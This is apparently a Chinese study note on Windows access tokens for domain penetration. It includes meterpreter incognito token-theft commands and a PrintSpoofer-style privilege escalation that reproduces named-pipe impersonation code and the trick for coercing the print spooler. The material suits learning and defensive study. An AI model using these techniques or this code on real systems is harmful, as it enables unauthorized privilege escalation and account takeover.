域渗透学习笔记(四、奇妙的Token)

1.Window Token简介

1.1 什么是Windows Token

windwos安全模型中,有两个角色,一个就是访问者(进程),一个是被访问者(资源)。资源是一个广义的概念,所谓的资源可以是文件目录注册表管道命名句柄进程线程。每个资源都有一个安全描述符,安全描述符当中包含了ACL(访问控制列表)。而这个访问控制列表中每条规则都对应记录着一个SID被允许和拒绝的操作(如读、写、执行)。访问者为了访问某一个资源,显然也需要一个身份的证明,也就是所谓的Token。

1.2 Token内容

Token主要包含如下信息,Windows官方提供的与Token相关的信息

  • 1.用户账户的Sid;
  • 2.用户所属组的Sid;
  • 3.标识当前登陆会话的SID;
  • 4.用户和用户组特权列表;这个用户特权非常重要!!!
  • 5.当前Token拥有者的SID
  • 6.primary group的SID
  • 7.用户创建的进程的默认DACL;
  • 8.access token类型和来源;
  • 9.其他信息;

1.2 Windows Token的分类

Windows Token分为了如下两种类型:

名称 注释 用途
Delegation token 授权令牌 用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token 模拟令牌 用于非交互登录(利用net use访问共享文件夹)

注意:

  • 一个用户登录了主机后获得了授权令牌,在他注销以后该令牌并不会被删除。而是从授权令牌退化为了模拟令牌,这也就是为什么域内某台主机上如果域管用户登录过就能拿到域管权限。
  • 以上两种令牌仅在系统重启后销毁。

2.用户(进程/线程)特权列表

Windows用户一般分为标准用户(非管理员普通用户)UAC(管理员)SYSTEMLOCAL SERVICENETWORK SERVICE。每一个用户都有不通的特权,我们可以使用如下命令查看当前用户的用户信息组信息特权信息

C:\Users\Administrator>whoami /all

用户信息
----------------

用户名                        SID
============================= =============================================
win-2agulf2vmte\administrator S-1-5-21-2979668396-2935661377-1204581961-500


组信息
-----------------

组名                                 类型   SID          属性

==================================== ====== ============ =======================
===================
Everyone                             已知组 S-1-1-0      必需的组, 启用于默认,
启用的组
NT AUTHORITY\本地帐户和管理员组成员  已知组 S-1-5-114    必需的组, 启用于默认,
启用的组
BUILTIN\Administrators               别名   S-1-5-32-544 必需的组, 启用于默认,
启用的组, 组的所有者
BUILTIN\Users                        别名   S-1-5-32-545 必需的组, 启用于默认,
启用的组
NT AUTHORITY\INTERACTIVE             已知组 S-1-5-4      必需的组, 启用于默认,
启用的组
CONSOLE LOGON                        已知组 S-1-2-1      必需的组, 启用于默认,
启用的组
NT AUTHORITY\Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认,
启用的组
NT AUTHORITY\This Organization       已知组 S-1-5-15     必需的组, 启用于默认,
启用的组
NT AUTHORITY\本地帐户                已知组 S-1-5-113    必需的组, 启用于默认,
启用的组
LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认,
启用的组
NT AUTHORITY\NTLM Authentication     已知组 S-1-5-64-10  必需的组, 启用于默认,
启用的组
Mandatory Label\High Mandatory Level 标签   S-1-16-12288



特权信息  注意!!!这里的这些特权信息,显示出来的我们就有权利去把它从已禁用状态改成以启用,但是如果是没有显示的一些特权则是没有权限更改的
----------------------

特权名                          描述                       状态
=============================== ========================== ======
SeIncreaseQuotaPrivilege        为进程调整内存配额         已禁用
SeSecurityPrivilege             管理审核和安全日志         已禁用
SeTakeOwnershipPrivilege        取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege           加载和卸载设备驱动程序     已禁用
SeSystemProfilePrivilege        配置文件系统性能           已禁用
SeSystemtimePrivilege           更改系统时间               已禁用
SeProfileSingleProcessPrivilege 配置文件单一进程           已禁用
SeIncreaseBasePriorityPrivilege 提高计划优先级             已禁用
SeCreatePagefilePrivilege       创建一个页面文件           已禁用
SeBackupPrivilege               备份文件和目录             已禁用
SeRestorePrivilege              还原文件和目录             已禁用
SeShutdownPrivilege             关闭系统                   已禁用
SeDebugPrivilege                调试程序                   已禁用
SeSystemEnvironmentPrivilege    修改固件环境值             已禁用
SeChangeNotifyPrivilege         绕过遍历检查               已启用
SeRemoteShutdownPrivilege       从远程系统强制关机         已禁用
SeUndockPrivilege               从扩展坞上取下计算机       已禁用
SeManageVolumePrivilege         执行卷维护任务             已禁用
SeImpersonatePrivilege          身份验证后模拟客户端       已启用
SeCreateGlobalPrivilege         创建全局对象               已启用
SeIncreaseWorkingSetPrivilege   增加进程工作集             已禁用
SeTimeZonePrivilege             更改时区                   已禁用
SeCreateSymbolicLinkPrivilege   创建符号链接               已禁用

上述的特权信息具体的说明可以参考:微软官方Privilege Constants (Authorization)文档

3.Windows Token的窃取

3.1 incognito

meterpreter当中已经内置了incognito,使用的时候只需要load一下即可。需要注意的是,incognito必须在system权限下使用。常用的用法如下:

  • 加载incognito:
load incognito
  • 列举用户Token:
list_tokens -u
  • 盗取指定用户token:
impersonate_token "JUS4FUN\Administrator"
  • 从进程中窃取token:
steal_token 进程PID
  • 放弃得到的token
rev2self

3.2 和Token利用相关的Api

和Token利用相关的Api主要是CreateProcessWithToken(需要SeImpersonatePrivilege )和CreateProcessAsUser(需要SeAssignPrimaryTokenPrivilege)。使用这两个函数可以帮助我们以一个别的权限的用户身份去创建一个进程。二者的函数原型如下,具体参数信息可以参考文档CreateProcessWithTokenW文档CreateProcessAsUserW文档

BOOL CreateProcessWithTokenW(
  HANDLE                hToken,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

BOOL CreateProcessAsUserW(
  HANDLE                hToken,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

4.利用Windows Token提权

4.1 pipePotato提权漏洞

从上面的内容中我们知道事实上和Windows权限相关的最重要的就是进程的Token,Token标志着一个进程所拥有的各种权限描述信息,是一个和安全相关非常重要的结构体。很显然处于安全考虑,Token结构体是存储在Ring0的。而事实上,进程的Token就保存在EPROCESS结构体的0xc8处。具体可参考二进制入门学习笔记-19.Windows 进程与线程

由于权限检测依赖于Token,因此只要能获取到别的进程的Token我们就可以获取到它所对应的全部权限。但是作为一个低权限进程,我们显然没办法去读高权限进程的Token。但天无绝人之路,系统中的高权限进程往往很多是服务,这些服务经常会预留RPCCOM等用于给其他进程提供服务的接口。但因为这些接口存在一定的安全问题,也为提权/ByPassAV(如调Lsass进程的RPC Dump内存绕过杀毒软件监控)提供了一定的便利。以下为pipePotato提权漏洞的原理,具体内容参考自PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 一文。

4.1.1 权限检测

这种方法依赖于CreateProcessWithToken(需要SeImpersonatePrivilege:认证后派生一个client 的权限)和CreateProcessAsUser(需要SeAssignPrimaryTokenPrivilege:替换进程级别的权限),两个函数有一个能用就可以。查看特权方法还是whoami /all命令即可。

4.1.2 利用ImpersonateNamedPipeClient派生高权限客户端

Potato系列的提权工具都是基于一个思路开发的,本质上是一种中间人攻击,即“迫使具有System权限的进程主动向某个受控TCP终端发起NTML认证请求,然后重放请求实现认证”,整体步骤分为三步:

  • 1.使用例如RPC调用等方法迫使一个有System权限的进程向一个被我们控制的TCP终端发起NTLM认证请求
  • 2.调用AcquireCredentialsHandle()AcceptSecurityContext()等API以ALPC(Advanced Local Procedure Call)的方式转发认证请求给lsass.exe进程,最终获得System的Token。
  • 3.使用System的Token模拟客户端

这里作者提出的方法是使用Pipe来实现这个过程,pipe主要分为两种,一种是Anonymous Pipes还有一种是Named PipesPipe官方参考文档):

  • Anonymous pipes:匿名管道主要用于在父进程和子进程直接进行通信
  • Named pipes:命名管道是有名字的。任何一个进程在通过安全检查后,都可以成为命名管道的服务端或者客户端。

简单来说,利用pipe捕获Token过程主要利用的就是ImpersonateNamedPipeClient这个函数。这个函数的主要功能是会派生一个named-pipe client application。也就是调用这个函数,可以模拟一个别的用户的安全上下文(简单来说也就是权限)。而这个函数最有意思的地方就是这里:

如图,参考自ImpersonateNamedPipeClient官方文档,最后一次从pipe读到的内容是谁写的,派生出来的client就是谁的权限。

因此,这里作者给出的方法流程如下:

调用CreateNamedPipe()创建一个命名管道->调用ConnectNamedPipe()接受该命名请求连接->迫使高权限进程连接该命名管道并写入数据->调用ImpersonateNamedPipeClient()派生一个高权限进程的client

作者给出的完整代码如下:

HANDLE hPipe = INVALID_HANDLE_VALUE;
LPWSTR pwszPipeName = argv[1];
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = INVALID_HANDLE_VALUE;

if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
    wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}

if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
    wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}
//上面这些代码主要是初始化创建命名管道时需要的安全描述符,也就是下面这个sa参数
if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)//创建一个命名管道
{
    wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName);
    ConnectNamedPipe(hPipe, NULL); //等待连接,在有连接之前这个线程就会停在这里,不会执行下面的代码
    wprintf(L"[+] A client connected!\n");

    if (ImpersonateNamedPipeClient(hPipe)) {//高权限进程向这个命名管道写的数据被读了之后上面的暂停就会解开,执行到这里,就会派生一个高权限client

        if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {

            PrintTokenUserSidAndName(hToken);
            PrintTokenImpersonationLevel(hToken);
            PrintTokenType(hToken);

            DoSomethingAsImpersonatedUser();

            CloseHandle(hToken);
        }
        else
        {
            wprintf(L"OpenThreadToken() failed. Error = %d - ", GetLastError());
            PrintLastErrorAsText(GetLastError());
        }
    }
    else
    {
        wprintf(L"ImpersonateNamedPipeClient() failed. Error = %d - ", GetLastError());
        PrintLastErrorAsText(GetLastError());
    }

    CloseHandle(hPipe);
}
else
{
    wprintf(L"CreateNamedPipe() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
}

4.1.3 迫使高权限进程访问pipe

简单来说是利用了[MS-RPRN]: Print System Remote Protocol RPC interface(打印机服务的RPC接口)的RpcRemoteFindFirstPrinterChangeNotificationEx去迫使一台主机向另一台主机发起认证请求。该函数声明如下:

DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( //创造一个通知对象并发送给客户端
    /* [in] */ PRINTER_HANDLE hPrinter,
    /* [in] */ DWORD fdwFlags,
    /* [in] */ DWORD fdwOptions,
    /* [unique][string][in] */ wchar_t *pszLocalMachine,
    /* [in] */ DWORD dwPrinterLocal,
    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
//参考:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d

这个函数的主要作用就是创造一个通知对象然后发生给客户端,当然通知对象是什么我们不关心,这里最重要的是发生给客户端的信息传输方式。非常凑巧的是这里数据通信方式用的就是named pipe。假如我们创建一个通知对象对象,具体发送给哪个主机取决于hPrinter这个参数。这个参数一般是通过RpcAddPrinterRpcAddPrinterEx、, RpcOpenPrinterRpcOpenPrinterEx等函数创建出来的一个对象。以RpcAddPrinter为例,该函数声明如下:

 DWORD RpcAddPrinter(
   [in, string, unique] STRING_HANDLE pName,//这个参数就是哪个要连接的对象的名字这个名字可以是DNSNetBIOSIPv4IPv6UNCRPC
   [in] PRINTER_CONTAINER* pPrinterContainer,
   [in] DEVMODE_CONTAINER* pDevModeContainer,
   [in] SECURITY_CONTAINER* pSecurityContainer,
   [out] PRINTER_HANDLE* pHandle
 );
 //参考https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/bd0bb8d5-26fd-4705-81f5-614d32b9f38f

默认假如写个localhost时通知对象发送到了\\localhost\pipe\spoolss。但是这个管道无法控制,而且pName参数又不能加\\,一旦加了将无法通过该函数的名称检测。然后又是一个非常巧妙的技巧。这里不能用反斜杠,但是可以用正斜杠/代替,可以通过路径检测而且在建立pipe连接的时候正斜杠会被替换成反斜杠!!!例如传入pName参数为\\DESKTOP-RTFONKM/pipe/foo123最终发起的pipe连接为\\DESKTOP-RTFONKM\pipe\foo123\pipe\spoolss。至此整个流程打通。

参考链接